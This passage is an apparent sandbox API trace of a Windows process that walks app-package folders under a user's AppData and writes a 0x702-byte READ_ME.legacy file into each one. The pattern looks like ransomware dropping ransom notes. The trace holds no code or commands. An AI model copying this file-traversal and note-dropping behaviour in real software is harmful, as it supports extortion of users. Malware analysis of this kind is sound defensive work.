ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9e6fc14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4cfb6be1, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0150.996] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x84c [0150.997] WriteFile (in: hFile=0x84c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.997] CloseHandle (hObject=0x84c) returned 1 [0150.997] FindNextFileW (in: hFindFile=0x563b78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cfb6be1, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7119b46d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7119b46d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0150.998] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x84c [0151.093] WriteFile (in: hFile=0x84c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.093] CloseHandle (hObject=0x84c) returned 1 [0151.094] FindNextFileW (in: hFindFile=0x563b78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafb82b, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0xfafb82b, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xfafb82b, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0151.094] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x84c [0151.094] WriteFile (in: hFile=0x84c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.095] CloseHandle (hObject=0x84c) returned 1 [0151.095] FindNextFileW (in: hFindFile=0x563b78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cfb6be1, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9faea07, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4cfb6be1, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0151.095] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x84c [0151.096] WriteFile (in: hFile=0x84c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.097] CloseHandle (hObject=0x84c) returned 1 [0151.097] FindNextFileW (in: hFindFile=0x563b78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cfb6be1, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9faea07, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4cfb6be1, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0151.097] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b091f87, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc89dadb, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xe295c105, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563978 [0151.097] FindNextFileW (in: hFindFile=0x563978, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b091f87, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc89dadb, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xe295c105, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0151.097] FindNextFileW (in: hFindFile=0x563978, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4b12a8ec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x31821783, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x31821783, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0151.097] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850 [0151.196] WriteFile (in: hFile=0x850, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.197] CloseHandle (hObject=0x850) returned 1 [0151.197] FindNextFileW (in: hFindFile=0x563978, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b0b81eb, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9ff29c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b0b81eb, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0151.197] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850 [0151.198] WriteFile (in: hFile=0x850, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.199] CloseHandle (hObject=0x850) returned 1 [0151.199] FindNextFileW (in: hFindFile=0x563978, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b091f87, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9ff2e34, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b091f87, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0151.199] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850 [0151.200] WriteFile (in: hFile=0x850, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.200] CloseHandle (hObject=0x850) returned 1 [0151.200] FindNextFileW (in: hFindFile=0x563978, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b091f87, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9ff32b0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b091f87, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0151.200] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850 [0151.202] WriteFile (in: hFile=0x850, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.202] CloseHandle (hObject=0x850) returned 1 [0151.202] FindNextFileW (in: hFindFile=0x563978, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295c105, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe295c105, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe295c105, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0151.202] FindNextFileW (in: hFindFile=0x563978, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b091f87, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9ff36d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b091f87, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0151.202] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850 [0151.203] WriteFile (in: hFile=0x850, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.203] CloseHandle (hObject=0x850) returned 1 [0151.204] FindNextFileW (in: hFindFile=0x563978, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b091f87, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7119b46d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7119b46d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0151.204] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850 [0151.324] WriteFile (in: hFile=0x850, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.324] CloseHandle (hObject=0x850) returned 1 [0151.325] FindNextFileW (in: hFindFile=0x563978, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc89dadb, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0xc89dadb, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xc89dadb, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0151.325] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850 [0151.326] WriteFile (in: hFile=0x850, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.327] CloseHandle (hObject=0x850) returned 1 [0151.327] FindNextFileW (in: hFindFile=0x563978, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b091f87, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca1c28a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b091f87, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0151.327] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850 [0151.327] WriteFile (in: hFile=0x850, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.328] CloseHandle (hObject=0x850) returned 1 [0151.328] FindNextFileW (in: hFindFile=0x563978, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b091f87, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca1c28a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b091f87, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0151.328] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49716ce0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xa0d44ca, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xe295c105, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563f38 [0151.328] FindNextFileW (in: hFindFile=0x563f38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49716ce0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xa0d44ca, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xe295c105, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0151.328] FindNextFileW (in: hFindFile=0x563f38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x497af639, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x31ad021b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x31ad021b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0151.328] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854 [0151.506] WriteFile (in: hFile=0x854, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.507] CloseHandle (hObject=0x854) returned 1 [0151.507] FindNextFileW (in: hFindFile=0x563f38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4973cf32, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca268344, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4973cf32, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0151.507] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854 [0151.508] WriteFile (in: hFile=0x854, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.508] CloseHandle (hObject=0x854) returned 1 [0151.509] FindNextFileW (in: hFindFile=0x563f38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49716ce0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca268bb4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x49716ce0, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0151.509] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854 [0151.509] WriteFile (in: hFile=0x854, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.510] CloseHandle (hObject=0x854) returned 1 [0151.510] FindNextFileW (in: hFindFile=0x563f38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49716ce0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca26947a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x49716ce0, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0151.510] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854 [0151.510] WriteFile (in: hFile=0x854, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.511] CloseHandle (hObject=0x854) returned 1 [0151.511] FindNextFileW (in: hFindFile=0x563f38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295c105, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe295c105, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe295c105, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0151.511] FindNextFileW (in: hFindFile=0x563f38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49716ce0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca269b51, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x49716ce0, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0151.511] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" 